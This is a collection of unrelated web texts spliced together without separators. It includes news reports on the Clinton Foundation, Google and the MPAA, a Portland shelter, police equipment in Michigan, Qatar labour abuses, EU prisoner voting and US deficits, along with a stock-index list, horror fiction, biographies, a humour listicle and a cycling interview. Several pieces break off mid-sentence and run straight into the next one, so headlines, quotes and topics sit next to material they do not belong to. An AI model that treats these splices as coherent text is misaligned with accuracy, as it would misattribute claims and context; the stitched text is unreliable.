* 5 surprising facts about dolphin sex from their love of eels to bisexual tendenciesFormer President Bill Clinton said Monday that his family’s charitable foundation will alter how it works if Hillary Clinton wins the White House, amid mounting pressure from both critics and supporters.
Bill Clinton will curtail his direct involvement in the multi-billion-dollar charity and the group will transition some programs to like-minded charities, he said in a statement on the foundation’s website Monday.
“Over the last several months, members of the Foundation’s senior leadership, Chelsea, and I have evaluated how the Foundation should operate if Hillary is elected,” the former president wrote. “Throughout the process, our top priorities have been preserving our most important programs, supporting the people who work for the Foundation and its affiliated programs, and resolving legitimate conflict of interest questions.”
The update from Clinton — who told supporters last week that he would also stop doing paid speeches — comes as Donald Trump blasted the nonprofit organization is “the most corrupt enterprise in political history.”
“It is now clear that the Clinton Foundation is the most corrupt enterprise in political history. What they were doing during Crooked Hillary’s time as secretary of state was wrong then, and it is wrong now. It must be shut down immediately,” Trump said in a statement.
A spokesman for the Clinton Foundation pointed to the new post from the former president when asked about Trump’s comments.
Hillary Clinton’s campaign chairman, John Podesta, accused Trump of using the issue to hide from his own problems.
“The Foundation has already laid out the unprecedented steps the charity will take if Hillary Clinton becomes president. Donald Trump needs to come clean with voters about his complex network of for-profit businesses that are hundreds of millions of dollars in debt to big banks, including the state-owned Bank of China, and other business groups with ties to the Kremlin,” Podesta said.
Bill Clinton also announced last week that the Clinton Global Initiatives meeting of high-dollar donors, celebrities and foreign leaders next month would be its last.
The Clinton Foundation also announced last week that it would no longer accept foreign or corporate donations if Hillary Clinton wins the White House and that it would no longer convene its annual meeting.
The foundation has raised money in the years since Bill Clinton left the White House and has launched a host of charitable efforts targeting climate change, improving quality of life for women and girls in developing countries and fighting health crises.
The charitable foundation has been scrutinized throughout Hillary Clinton’s presidential bid, but the organization has faced greater scrutiny since emails were newly uncovered showing a top Clinton Foundation donor seeking access to a top diplomat when Clinton was secretary of state.
New emails obtained by conservative watchdog group Judicial Watch and released Monday show then-Clinton Foundation executive Doug Band asking top Hillary Clinton aide Huma Abedin to arrange a meeting with the then-secretary of state for the Crown Prince of Bahrain, Sheikh Salman bin Hamad al-Khalifa. The crown prince’s charity donated $32 million for a program run through the Clinton Global Initiative.
Judicial Watch President Tom Fitton said Monday that the new exchange, and others, showed donors buying access to the secretary of state through the foundation. But none of the exchanges appeared to show a direct quid-pro-quo.
“No matter how this group tries to mischaracterize these documents, the fact remains that Hillary Clinton never took action as Secretary of State because of donations to the Clinton Foundation,” Clinton campaign spokesman Josh Schwerin said about the newest emails.
The Trump campaign has attempted to keep the spotlight fixed on Clinton’s troubles, but his own gaffes have continued to get in the way. Trump’s request that Russian hackers search for Clinton’s 33,000 missing emails led to questions of whether he would be committing treason by asking foreign agents to hack a US presidential candidate.The MPAA is still not happy with Google's efforts to reduce online piracy and says that the search giant continues to facilitate a "staggering amount of copyright infringement." For their part Google is warning policymakers of the damaging effects the recent surge of DMCA takedown requests is having on the flow of information online. Both Google and the MPAA agree that the current DMCA takedown procedures are not ideal, but the solutions both parties have in mind are quite different.
For years entertainment industry groups have been demanding that Google does something about the “pirate sites” showing up in their search results.
Google has responded to these concerns by taking a variety of measures aimed at decreasing copyright infringement. Last year they removed “piracy” related terms from their Instant and Suggest services, and later started to downrank websites based on the number of DMCA requests they receive.
To offer full transparency, Google also decided to make the DMCA notices public. The search giant points out that this move resulted in a surge of legitimate and illegitimate removal requests, which appears to concern the company.
Google’s Legal Director Fred Von Lohmann says that due to collateral damage freedom of speech may be restricted online.
“As policymakers evaluate how effective copyright laws are, they need to consider the collateral impact copyright regulation has on the flow of information online. When we launched the copyright removals feature, we received more than 250,000 requests per week. That number has increased tenfold in just six months to more than 2.5 million requests per week today.”
Reading between the lines it is clear that Google is not happy with the current situation. Google does not make any suggestions as to how things can be improved, but urges policymakers to consider whether the avalanche of DMCA requests is in best interest of the public.
“We’ll continue to fine tune our removals process to fight online piracy while providing information that gives everyone a better picture of how it works. By making our copyright data available in detail, we hope policymakers will be able to see whether or not laws are serving their intended purpose and being enforced in the public interest,” Von Lohmann notes.
The MPAA, however, believes that if one industry has the right to complain, it’s them. According to the Hollywood group it is the content creators who are most troubled by the way things are at the moment.
“Google’s reading of the data is missing some critical perspective: if the process is cumbersome for Google, it is even more cumbersome for the creators and makers who must constantly be on the lookout to protect their work from theft,” Marc Miller, MPAA’s Senior Vice President for internet content protection states in a response to Google.
According to the MPAA, Google is facilitating massive copyright infringement while the copyright holders only have limited tools to make “pirate” results disappear.
“There is a staggering amount of copyright infringement taking place every day online and much of it is facilitated by Google, as their own data shows,” Miller notes.
“By Google’s own accounting, millions of times each week creators are forced to raise a complaint with Google that the company is facilitating the theft of their work and ask that the infringing work or the link to that work be removed. Often, even when the links are removed, they pop right back up a few hours later. That’s not a reasonable — or sustainable — system for anyone.”
The MPAA adds that the discussion about how to deal with piracy has nothing to do with restriction of speech on the Internet, but sides with Google’s conclusion that something has to be done to improve the current situation. The Hollywood group doesn’t necessarily see this as a discussion for policymakers though.
“We couldn’t agree more with Google that this data shows that our current system is not working – for creators, or for Google. But we can’t lose sight of the fact that it also confirms the important role that Google has to play in helping curb the theft of creative works while protecting an Internet that works for everyone,” Miller states.
In other words, Google has to step up its efforts.
Last year a behind-closed-doors meeting revealed that the copyright industry is pushing Google to completely de-list popular filesharing sites such as The Pirate Bay, and give higher ranking to authorized sites.
Thus far Google has refused to give in, but the most recent square off illustrates that the MPAA and other copyright lobby groups will continue to push for these changes.Index All S&P 500 Dow Jones NYSE International 100 NIKKEI 225 NASDAQ 100 AEX AMX ASCX ATX ATX BI ATX CPS ATX FIN ATX IGS ATX NTR EUR ATX Prime ATX TR ATX five Athex 20 Athex Composite Australia All Ordinaries BEL 20 BET BG 40 BIRW - Bern Börse Index BOVESPA BSX BUMIX BUX BX Swiss - EMEA BX Swiss - A BX Swiss - Aust BX Swiss - USA CAC 40 CAC MID 60 CAX EUR CDAX CECE EUR CECE USD CETOP 20 CROBEX DAX DAX Kursindex DAXglobal BRIC DAXglobal Russia DAXglobal Sarasin Sustainability Germany DAXglobal Sarasin Sustainability Germany Index EUR DBIX India Net DIMAX DivDAX EGX30 EURO STOXX EURO STOXX 50 EURO STOXX Auto & Parts EURO STOXX Banks EURO STOXX Insurance EURO STOXX Media EURO STOXX Technology EURONEXT 100 Entry All Share Entry All Share Kursindex Entry Standard FTSE 100 FTSE 250 FTSE 350 FTSE Allshare FTSE GLOB AUTOS FTSE GLOB BANKS FTSE GLOB ENERGY FTSE GLOB FINANC FTSE GLOB G IND FTSE GLOB MEDIA FTSE GLOB TECH FTSE GLOB UTILS FTSE MIB General All Share General Standard General Standard Kursindex HDAX Hang Seng IATX IBEX 35 IGPA IPC ISE 100 ISE 30 ISE 50 ISEQ KOSPI KSE 100 L&S DAX Indikation LDAX LMDAX LSDAX LTecDAX Lima Ind. General Lisbon SE 30 Blue Chip MDAX MDAX Kursindex MIBTEL MICEX MICEX 10 MICEX CGS Index MICEX Financial Index MICEX Innovation Index MICEX M&M Index MICEX MNF Index MICEX Oil & Gas Index MICEX Power Index MICEX TLC Index MICEX Transport Index MIDEX Merval 25 Micex Chemicals Index NASDAQ Comp. NSE 20 NYSE US 100 Next CAC 70 Nouveau Marche Nuovo Mercato OBX OMX Baltic 10 OMX Copenhagen PI OMX Iceland 6 EUR OMX Iceland 6 PI ISK OMX Iceland All-Share OMX Nordic 40 OMXC20 OMXH25 OMXR OMXS PI OMXS30 OMXT OMXV OSEBX PSI20 PX Prime All Share QIX Deutschland QIX Dividenden Europa RTS RTS Chemicals Index RTS Electric Utilities Index RTS Financial Index RTS SIB Index RTS Standard Index RTS Telecom Index RTS2 Index RTScr Index RTSin Index RTSmm Index RTSog Index RTStn Index RTX EUR RTX RUB RTX USD S&P 100 S&P 400 MidCap S&P 600 SmallCap S&P/TSX S&P/TSX Venture SAX SBF 120 SBI TOP SDAX SDAX Kursindex SENSEX SLI SMI SMI Expanded SMIM SOFIX SPI SPI Basic Resources SPI Extra SPI Financial Services SPI HealthCare SPI Industrial Goods SPI Oil & Gas SPI Personal Household Goods SPI Technology SPI Telecommunication SPI Utilities SPI ex SLI SSE 50 STOXX 50 SXI Bio+Medtech SXI Life Sciences SXI Real Estate SXI Swiss Real Estate Scale 30 Scale 30 (Kursindex) Scale All Share Scale All Share (Kursindex) Schatten-Index-MDAX Schatten-Index-SDAX Schatten-Index-TecDAX Second Marché Solactive E-Mobilität und Autonomes Fahren Technol Stoxx Europe 600 Straits Times Swiss All Share TA-100 TEPIX TOPIX 500 TecDAX TecDAX Kursindex Technology All Share Toronto 35 Index VDAX-NEW Value-Stars-Deutschland-Index WBI Wiener Börse Index WIG WIG 20 XDAX XDAXDAX eb.rexx Government Germany Overall Kursindex ÖkoDAXPORTLAND, Ore – The closed Shleifer Furniture building in Southeast Portland has become a temporary homeless shelter.
The city of Portland and Multnomah County joined with some Portland development firms to open it as a shelter.
Details were announced in a Monday press conference with Multnomah County Chair Deborah Kafoury, Eric Cress of Urban Development +Partners, Jonathan Malsin of Beam Development and Transition Projects director George Devendorf.
The city and the county will move the Columbia Shelter, a downtown temporary shelter on the corner of Southwest 4th Avenue and Washington Street, to the Shleifer building at 509 S.E. Grand Avenue. Its old location will no longer be a shelter, because of the move.
The Columbia Shelter opened temporarily to protect people from the bitter winter cold.
The Shleifer building, which will now also be called the Columbia Shelter, will provide overnight accommodations for up to 100 people, including men, women, and couples.
Denis Theriault, with A Home for Everyone, says the shelter at the Shleifer building will remain temporary, until the fall, but says, as of now, there is not a set timeline for when it will close as a shelter.
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He says the shelter will be open from 7 p.m. to 6:30 a.m. and people will stay on the first level where the furniture used to be. He also confirmed there won't be a lineup of people outside, every night. The Shleifer building will be for reserved beds, by appointment only. People will be able to bring their animals, and leave their belongings in the shelter during the day, although they will have to leave at 6:30 a.m. every day. Meals will not be provided.
Multnomah County Chair Deborah Kafoury said the move is about building strong partnerships in the business community to help people.
“We’ve not just opened shelters because of the good graces of the city and county money, but we have worked with businesses around our town to get their buildings to be used as shelters as well,” she told KGW's Laural Portland for an upcoming 'Straight Talk' show.
She also says a long-term solution to homelessness is to find affordable housing. "The ultimate solution is more permanent affordable housing, and we are working on that. Portlanders stepped up and passed a housing bond last year, trying to get those units online."
Shleifer Furniture closed after 80 years and the building was sold to Malsin in 2015 who has plans to turn it into a hotel.
Those plans, are still a green light, according to Theriault.
"I think there's obviously a need for some hospitality on the Eastside," Malsin told the Portland Business at the time. "This is one of the most intact historic buildings in the Central Eastside, so we'd love to restore it into something hospitality-related, probably a hotel with a restaurant."
Scott Hunt owns a building, a block away from the Shleifer building. He told KGW that city and county didn’t tell the business owners the building would become a shelter. He worries about what this will do to property values, and wonders if the Shleifer building is safe for people as a shelter.
"My concern is, what is the impact it’s going to have on the neighborhood,” Hunt said. “There doesn’t seem to be an end game. The city just moves people around. There’s no solution and it’s like they’ve given up on a permanent solution at all.”
A spokesman for Beam Development says the owner of the neighboring Lotus Building was notified about the shelter, as was the owner of the neighboring bar/restaurant in that building, My Father’s Place. The owner of the adjacent parking lot was also notified. No other businesses were notified.
Hunt also worries a temporary shelter might not be so temporary.
“I would say the city is lying, they’ve done that in the past, they don’t hold themselves to their own standards. What’s 6 months. Now it’s a year.Now it’s 2 years? Local businesses and owners don’t have any recourse,” Hunt said.
Hunt attended the meeting on Monday, and spoke to Transition Projects, and Beam Development. He says he still has more questions, than answers. "I think the people involved kind of took this as a celebration. A victory. I don’t know how they are doing that, knowing that nothing really was accomplished here, in this project. You just moved 100 people."So primitive.
Conversing, let aside working with them was, in itself, an insult.
Small, fleshy blood bags, barely more than fishes just learning to flop out of their salty seas.
Things would be so much simpler to just erase the species altogether, but they had festered and grown. Like a God sleeping over an anthill, they now covered all creation like warm blooded lice. Their self importance was only matched by their profound ignorance.
The Migo, Estalrrrll-Lthullance, mused silently. If only he could convince the newest of the Dark Gods, the incarnation of the one known as Vile Darken, to destroy all things human this would all end the quicker. But since Vile Darken was once human and the majority of his incarnations across the Multiverse were also human, this seemed unlikely.
Every battle needed fodder he supposed.
Yet his intellect so far surpassed the ape men that he found himself being forced to solve complicated math equations during his meetings with them, just to save himself from the profound boredom that he would require him to tear off their heads.
He blamed the great old Gods more than anything else. As they slumbered, content in the idea they ruled all, these mites had grown in power. Despite how much he feared to admit such things, they had even claimed some minor victories over his folk, in some places they had achieved much more.
Estalrrrll-Lthullance was a Migo. His was a race that had evolved from fungus to be the dominant species on multiple planets. From their undulating maggotish worm bodies spread twin batlike wings. Each end of their white bloated forms erupted with twenty tentacles which preformed functions ranging from constructing intricate devices to attacking prey and to the Migo nearly all forms of life were prey.
None of this concerned him for his chief scientist, Prrryst, had almost completed one of the most impressive feats of their generation. It pleased him to know it would be the doom of the warm fleshy ones and when it was time to shut down the apparatus so the tainted humans could survive long enough to control that wet world, perhaps Estalrrrll-Lthullance would insure that the shut down mechanism would malfunction.
Oh what a loss that would be.
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Get More Migo Hating Action Here!
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AdvertisementsMauro Prosperi (born 1955, Rome) is an Italian police officer and modern pentathlete who became famous after becoming lost in the Sahara Desert during an endurance event in 1994.[1]
Prosperi, a keen endurance runner, took part in the 1994 Marathon des Sables (Marathon of the Sands) in Morocco. Part way through the six-day 233 kilometre event a sandstorm caused Mauro Prosperi and his cousin James Duchkin to lose his way. He ended up disoriented and ran in the wrong direction, ultimately running several hundred kilometres into Algeria. After 24 hours he ran out of food and water. He arrived at an abandoned Muslim shrine, with the corpse of a holy man in it, and survived by drinking his own urine. He found bats on the low ceilings which he decapitated and then ate the guts and drank the blood from, and he waited for rescue. A helicopter and a plane passed, but he failed to be seen.[2][3]
Not wishing to die a long drawn out death, Prosperi attempted to commit suicide in the shrine by slitting his wrists with a pen knife he had with him. The attempt failed - lack of water had caused Prosperi's blood to thicken and ultimately clotted the wound. He then regained his composure, and followed a Tuareg's advice to set his compass to direction of the early morning clouds and walk towards them. He walked in the desert and ate reptiles, insects, and cacti from dried wadis, before stumbling on an oasis, with a footprint next to it, and then some goats, and then a little girl who ran away towards a tent with women in it who gave him goat's milk and laid him in the shade outside. After nine days alone in the desert, he was found and taken to an Algerian military camp and from there to a hospital. He was 186 miles (299 km) off route, and had lost 18 kilograms (40 lb) in body weight.[4] He received a hero's welcome back home in Italy, and media clamour.
His story of survival was later covered in a National Geographic Channel documentary entitled Expeditions To The Edge: Sahara Nightmare. It was also depicted in a Discovery Channel TV show hosted by the famous survival expert Bear Grylls, Bear Grylls: Escape from Hell.[5]
Prosperi later entered the race again in 1998, but was halted by a severely stubbed toe.[6]
Prosperi then re-entered the race yet again in 2012, completing the race in 34 and a half hours, in 131st place.GENESEE COUNTY, MI -- Despite the city's crime rate, the Flint Police Department isn't stockpiled with military equipment, unlike some departments.
Some department in the area, have anything from assault rifles to night vision goggles and Humvee military vehicles.
Across the country, the topic of military firepower and vehicles in the hands of local law enforcement has been a polarizing subject since the events in Ferguson, Missouri. After the police response to protesters in Ferguson, many began to renew a concern about the militarization of local police.
Genesee County Sheriff Robery Pickell said it's a legitimate concern.
"I can tell you this, from my experience and being around, this community wants law enforcement to protect them," Pickell said. "They do not want their police to be like occupational troops. When you start coming down the street with minesweepers and military operations that you're using to fight terrorists or wars against major powers, people become very, very suspect about the purpose of the police."
But the sheriff said there are some legitimate uses for military equipment. For one, it's a cost-saver as the Defense Department often provides police with military surplus gear free of charge.
For example, Pickell said his department received fully automatic rifles from the Defense Department several years ago. Not seeing a need for the fully automatic option, the sheriff's department converted the rifles to semi-automatic operation.
So far, the rifles have been mostly unused, Pickell said.
"We've had them for about 10 years," he said. "I think in 10 years we've only had to use them once."
It was about a year ago, the sheriff said, a suspect had fled police and holed himself up in a house. He was shooting at deputies, their only choice was to return fire. Because they only had a tight shot from a long distance, the rifles made sense, he said.
But in situations where people are peacefully protesting, Pickell said police on duty with military gear sends the wrong message.
"Anytime you start acting like occupational troops, people become suspect," he said. "I think sometimes people in the government forget we work for the people, they're our clients, they're our customer. I don't ever want our deputies to be viewed as occupational troops because they're going through the streets in heavily armored equipment. We don't need that."
A recent MLive-The Flint Journal online poll showed more readers in favor of the military gear.
As of Friday afternoon, 222 of the 378 voters -- or 59 percent -- were in favor of local |
secretary of state for international development, met Hassan al-Thawadi, the chief executive of Qatar's World Cup organising committee, to discuss the kafala labour sponsorship systems that prevent workers changing jobs or leaving the country without permission from their employer. "When I travelled to Doha, I met the Qatar 2022 organisers on the 37th floor of the Bidda tower," Murphy said. "They made promises about workers and the reform of the kafala system. The news that the Bidda tower workers themselves haven't been paid makes those promises sound pretty empty."
Amnesty International raised the plight of some migrant workers with Qatar's prime minister in November. Photograph: Pete Pattisson
Amnesty International came across the workers last year, before the Guardian established they had worked on offices used by the World Cup organisers. Last November, the human rights campaign group raised their plight in person with Qatar's prime minister, interior minister and labour minister. It wrote to the ministry of labour asking for the men to be paid, allowed to leave the country or find new jobs.
Nicholas McGeehan, Human Rights Watch's Qatar researcher, said: "If Qatar had announced some meaningful reforms, they would be able to defend themselves against these depressing revelations, because reforms need time to take effect in a sector beset by abuse and exploitation. … Qatar's inertia on labour reform should concern Fifa and their sponsors just as much as allegations of corruption in the bidding process."As Louisa May Alcott, the author of Little Women, once noted, it's never a good idea to meet your idols. And considering that she was a money-loving drug addict, she probably knew what she was talking about. If there's some artist, athlete, chef, or whatever who really inspires you, don't try to find out what they're really like as people. At best, you're going to be disappointed. At worst, you might find out something that will really break your heart, like that Bill Nye once broke 88 orphans' legs during a meth deal gone wrong. Don't worry, we made that one up, but here are some that are completely real...
6 The Clintons Used African-American Prison Labor Whilst Living In The Governor's Mansion
During the 2016 presidential election, the media made sure to keep us constantly aware of every single flaw or inadequacy surrounding Hillary Clinton, from her inexpert handling of emails to her dreadful Ellen dance moves. But there's one little thing that no one thought to bring up: She, uh, had slaves at one point. Yeah.
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Back before the Clintons occupied the White House, they were residents of the governor's mansion in Arkansas (what with Bill being governor and all). In Hillary's 1996 book It Takes A Village, she made an offhand remark about how they had employed unpaid prison labor, mainly "African-American men in their thirties," to help around the house. Don't worry, this was part of a "longstanding tradition" -- which is an excuse that has never, ever been used to justify terrible actions.
How is this even a thing? Well, according to a caveat in the 13th Amendment (the only amendment we fought a war over), Americans can't be enslaved... except as punishment for a crime. The government tends to avoid the actual word "slavery" to describe this policy, but the Constitution itself doesn't screw around with semantics:
United States Congress
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Cut it out with that "whereof" shit, though. We get it, you're cultured.
Clinton doesn't give any indication in the book that she saw this situation (black men being forced to serve rich white politicians) as kinda problematic. Instead she takes the opportunity to discuss how "apprehensive" she was about having scary black criminals in her house, until she learned that they weren't so scary after all. This would be a heartwarming memoir if it was written in the 1800s, but like we said, this book came out in 1996. That's 14 years after "Ebony And Ivory" cured racism forever, so there's really no excuse.Richard Saul Wurman (born March 26, 1935) is an American architect and graphic designer. Wurman has written, designed and published 90 books, and created the TED conference,[1] as well as the EG conference, TEDMED and the WWW suite of gatherings.
Career [ edit ]
Richard Saul Wurman has written, designed and published at least 83 books on divergent topics. Two of these are the Notebooks and Drawings of Louis I. Kahn (1963) and What Will Be Has Always Been (1986), the seminal collection of the words of Kahn. His books include the Access travel series (starting with Access/LA in 1980) and several books on healthcare.
Wurman chaired the IDCA Conference in 1972, the First Federal Design assembly in 1973, and the annual American Institute of Architects (AIA) Conference in 1976.
Wurman received both his B.Arch. and M.Arch. degrees from the University of Pennsylvania, completing his graduate degree in 1959,[2] with the highest honors; he was awarded the Arthur Spayed Brooks Gold Medal. He has been awarded several honorary doctorates, Graham Fellowships, a Guggenheim and numerous grants from the National Endowment for the Arts as well as the Distinguished Professor at Northeastern University. He is the recipient of the Lifetime Achievement Award from Cooper Hewitt, Smithsonian Design Museum. Wurman has also been awarded the Annual Gold Medal from Trinity College, Dublin, a Gold Medal from AIGA and received the Boston Science Museum's 50th Annual Bradford Washburn Award in October, 2014. He is also a Fellow of the AIA and in the Art Director's Club Hall of Fame.
He continues to work with Esri and RadicalMedia on his comparative cartographic initiative for mapping urban settings, 19.20.21, which will culminate in the creation of a network of live Urban Observatories around the world.
Wurman created and chaired several conferences: TED from 1984 through 2003, TEDMED from 1995 through 2010, and the WWW conference.
Wurman also supports SENS Research Foundation, a nonprofit biotechnology organization that seeks to repair the damages of aging and extend healthy lifespan.[3]
Personal life [ edit ]
Wurman lives in Golden Beach, Florida with his wife, novelist Gloria Nagy, and their two pet dogs. They have four children and six grandchildren.
References [ edit ]
Publications [ edit ]
Information AnxietyUK prisoners could challenge the blanket ban on them voting in European elections after a European Court of Justice ruling on a case in France.
Convicted murderer Thierry Delvigne claimed a ban on him voting in European Parliament elections violated his civil and political rights.
But the court ruled the ban was "proportionate" to the offence.
The decision means some UK prisoners could make a challenge if a ban would not be proportionate in their case.
Delvigne was excluded from the electoral roll in France after being sentenced in 1988 to 12 years imprisonment, and an ancillary penalty of permanent deprivation of the right to vote.
He made his claim to the ECJ because he argued his rights were being infringed under the Charter of Fundamental Rights of the EU.
The ruling said the "ban to which Mr Delvigne is subject is proportionate in so far as it takes into account the nature and gravity of the criminal offence committed and the duration of the penalty".
The court ruling means the EU Charter of Fundamental Rights applies to the rights of UK citizens - including prisoners - to vote in European Parliament elections.
If that right is taken away from someone, the ban has to be proportionate - as well as taking into account the nature and seriousness of the offence committed.
Government'should take action'
BBC legal correspondent Clive Coleman said: "Unlike the French ban, triggered by sentences of five years or more, the UK has a blanket ban, no matter what the offence or sentence.
"This means that prisoners in the UK who are EU citizens, especially those serving shorter sentences, could now challenge the ban on them voting in elections to the European Parliament."
Sean Humber, solicitor at Leigh Day, said there would now be more pressure placed on the government to allow at least some prisoners to vote.
He added: "As a result of this judgment, it is likely that prisoners convicted of less serious offences will now be able to take legal action against the government for being denied the vote in the 2014 European elections.
"In addition, the government will inevitably leave itself open to legal action from prisoners facing the prospect of being unable to vote in the European elections in 2019 if it does not take action now."
What is the European Court of Justice?
Image copyright Thinkstock
It's the European Union's highest court. It rules on disputes over EU treaties and other EU legislation. Its decisions are binding on EU institutions and the 28 EU member states.
A member state may be taken to court for failing to meet its obligations under EU law. Big fines can be imposed for non-compliance with the court's rulings.
It is different from the ECHR which rules on breaches of the European Convention on Human Rights and covers the 47 member states of the Council of Europe, the club of democratic, human-rights-respecting European countries. This is separate from the European Union.
However, all EU states are members of the Council of Europe and have signed the Convention on Human Rights.
Speaking shortly before the court's ruling Mr Cameron - who previously said allowing prisoners to vote made him "physically sick" - told LBC Radio: "I haven't changed my view at all.
"Our own law has been tested recently and our Supreme Court opined that our law was right and prisoners shouldn't have the vote, and that's my view."
A government spokesman said: "The European Court [of Justice] has confirmed French restrictions on prisoner voting are lawful.
"The UK's ban on prisoner voting stays in place and remains a matter for the UK Supreme Court and Parliament to determine."
Ruling 'ignored'
Meanwhile, Ukip's justice and home affairs spokeswoman Diane James said: "A blanket ban on votes for prisoners is the expressed will of the British Parliament.
"Why are we being subject to this European court at all?"
A decade ago the European Court of Human Rights (ECHR) declared the UK's ban on prisoner votes unlawful - a ruling which the UK has ignored ever since.
And it ruled again in February that the rights of UK prisoners were breached when they were prevented from voting in elections.
That case was brought by inmates who were in prison during various elections between 2009 and 2011, and was the fourth time the ECHR has ruled against the UK's ban on prisoner voting.The Congressional Budget Office puts out a long term analysis examining the economic health of the United States each year. In major recessions like the one we are in right now, these reports provide a projection into the future but the most important indicators like taxes are in a state of flux. It is also the case that we have never spent so much money with bailouts and fiscal stimulus in a time of peace. The U.S. Treasury and Federal Reserve are betting it all that their actions will stabilize the economy. Wall Street has stabilized but the employment situation is still up for debate. Yet looking at the report it is clear that the bill is coming due. Either we increase taxes or cut spending. I’m not pushing one or the other but this is a basic math problem here.
Let us take a look at the projections as put out by the CBO:
Notice that quick spike in “Other Federal Noninterst Spending” which shows the current bailout programs and fiscal stimulus. Largest spike in government spending on the chart so this should tell you the magnitude of the current recession. It is also the case that revenues are falling rapidly and that trend has not reversed. Spending is up and tax collections are down. You can tell that after 2012, the entitlement programs are going to grow at an exponential rate. We really aren’t dealing with these issues currently. At the moment all measures are focused on that blip on the chart in attempting to stabilize the economy.
I agree that the economy needs stabilization. But bailing out the banking industry with $12 trillion in explicit back stops was not the way. The FDIC has a reserve fund that is at zero and it backs up over $9 trillion in deposits. Is it smart to give this industry the right to $12 trillion in taxpayer money when clearly the CBO shows other important expenditures? Probably covering the savings of depositors is fine but this is a minor issues. Did we need to convert Goldman Sachs and Morgan Stanley into banks with easy access to the Federal Reserve? The bailouts focused on toxic debt like residential mortgages and the coming $3 trillion in commercial real estate problems.
From the chart above, it is also clear that the CBO expects income to shoot back up rather quickly and once again regain a steady course for the next 5 decades. Clearly these are rough estimates. Let us look at the latest balance sheet report from the U.S. Treasury:
In other words, we are spending a gigantic sum more than we are bringing in. Now this isn’t something new for us. We have been doing this for years. Yet the magnitude of the current spending is enormous. If we really want to get a sense of the actual revenues and spending let us look at the U.S. Treasury monthly report:
This is where the big recovery talk is lost on many. Last year in 2008, September was a horrible month for us. The entire year was troubling but September was a tipping point. With that said, the government managed to pull in $272 billion from U.S. taxpayers.
Now with the supposed recovery and all the bailouts, how did the government do in September of 2009? The government pulled in $218 billion or a year over year decrease of approximately 20 percent. This is enormous. Yet when we are hearing about all these record banking profits clearly the money isn’t going back to the government even though taxpayers bailed out these institutions. This is a major recession and the balance sheet of the government reflects this.
Look at the year to date deficit above. We are running a $1.4 trillion deficit. Just incredible in terms of how much we are spending yet on the tax side, the government is still not collecting enough revenues to cover current expenditures. That is why some things will shift in the next few months. Either taxes will go up or spending will need to be cut. This pace is unsustainable.
Raising taxes on everyone is not a smart move. Just look at California. It raised sales taxes, a largely regressive tax on everyone and overall collections are actually down. Being smart about tax increases would probably make more sense. Since Wall Street investment banks and every bank is pretty much dependent on the U.S. taxpayer, why not tax their profits by 80 to 90 percent? After all, they need to pay back the trillions in bailouts so if they are making money why not have it come back to the people? Plus, banking should never be a big profit center for an economy. It should serve primarily to allocate capital to the best real economy industries. Banks should not make the bulk of their money gambling on Wall Street.
If you want to see an infuriating stat, Goldman Sachs which came inches away from imploding with horrible bets is now sitting on cash while numerous states sit at the edge of bankruptcy:
“(CNN) More than a million Americans have filed for bankruptcy this year, according to the American Bankruptcy Institute. A September survey of state finances by the Center on Budget and Policy Priorities think tank found that state governments faced a collective $168 billion budget shortfall for fiscal 2010.
Goldman, by contrast, is sitting on $167 billion in cash, in the name of making sure it can withstand another market meltdown if that day comes.”
Goldman’s bonus pool is on pace to reach $21 billion for 2009. At the same time, 27 million Americans are unemployed or underemployed. Until we reform Wall Street we are going to see the standard of living for the average American dwindle away. It is time to look at these balance sheets and see where the money is going. If you follow it, you will realize that the best interest of the nation is not being pursued.
If you enjoyed this post click here to subscribe to a complete feed and stay up to date with today’s challenging market!This summer she retired as reigning world sprint champion, and after winning gold in the Olympic keirin. But, Kira Cochrane discovers, her time in the saddle was often fraught, she used to self harm and she had a serious falling out with British Cycling
According to Victoria Pendleton, British Cycling has already sold off her bike. Some staff members will probably never speak to her again. She suspects they will be relieved not to have to deal with her any more. She tells me all this with a twinkly, tinkling laugh, the kind people adopt when they are trying especially hard not to sound bitter. The words ring in my head as I hang up the phone after our second conversation. I feel unexpectedly gutted. I had anticipated writing a fairly straightforward story about a champion – a complicated champion, yes, but one who had experienced familiar ebbs of struggle and glory on the way to Olympic gold at Beijing, followed by those wild, psychological battles in London, where she won gold in the keirin, silver in the sprint. Instead, the tale of Queen Vic feels much darker.
This hadn't come across so strongly at our first meeting. At that stage I had only been given the first half of her autobiography, Between the Lines, written with Guardian sports interviewer Donald McRae. This covered some difficulties in her path to Olympic success, but nothing too extreme or extraordinary.
Pendleton is immensely friendly when we meet at the St Pancras Renaissance hotel, London, with an openness people probably either find brilliant or totally unnerving. She is renowned for being nakedly emotional, sobbing when she loses – sobbing when she wins. "I'm someone who wears their heart on their sleeve," she says. "I find it hard to act other than the way I feel."
She is suffering from a throat infection, which flared up predictably in the wake of her Olympic training, so pops a few pills as we start. If some of her comments have an obvious, umbilical connection to past problems – she never bites a medal for photographers, she says, because it would be like "licking a handrail", reminding me of her compulsive teenage hand washing – well, none of it seems too troubling either.
What comes across from the start is her quest for approval, specifically from men. The more desperate she has been to achieve this, the more it seems to have pushed people away. We talk about her earliest memory, and she says it is probably of watching her father race. Max Pendleton was a star amateur cyclist when she was growing up, and the book begins with him riding away from her up a hill, as she struggles to catch him, with the words "he doesn't love me, he doesn't love me," beating through her head.
Her other earliest memory is of being on the back of a yellow tricycle, ridden by her father, alongside her twin brother Alex. When they were four, Alex was pricked by a wild rose thorn that caused blood poisoning; he then had leukaemia. The illness came on suddenly, she says, and she remembers the moment he was rushed to hospital with perfect clarity. Was she worried? "I was very worried." She began praying intently, night and day.
Alex recovered, but their parents continued to watch him carefully; Pendleton writes that she sometimes "had to fight to get noticed as much", although life was pretty rosy beyond that. She began cycling at six, on the back of her dad's tandem, then racing with Alex, aged nine. For years he and the rest of the field – the juvenile group went up to 16 – would usually beat her. But Pendleton pursued cycling anyway, because she just "wanted to be good at something," she says, with a note of desperation. "I was just, like, all I want to do is be really good at something. Really, really good at something, so people are vaguely impressed by me."
Pendleton in action in the velodrome. Photograph: Visionhaus
By her mid-teens she was beating Alex, and when they were 15, he gave up cycling, as their older sister Nicola had before. She uses an interesting phrase to describe this, writing that Alex "saw his chance and took it", as if he was escaping a kidnapping. Did she wish she had given up then, too? "At times I felt like, 'Ah, I wish I'd been first to get out,' and then I was like: 'No, but those two would have both quit anyway, and Dad would be left with no one to cycle with.'" Couldn't he have cycled alone? She laughs. "Yeah, I know! He had lots of friends to cycle with anyway."
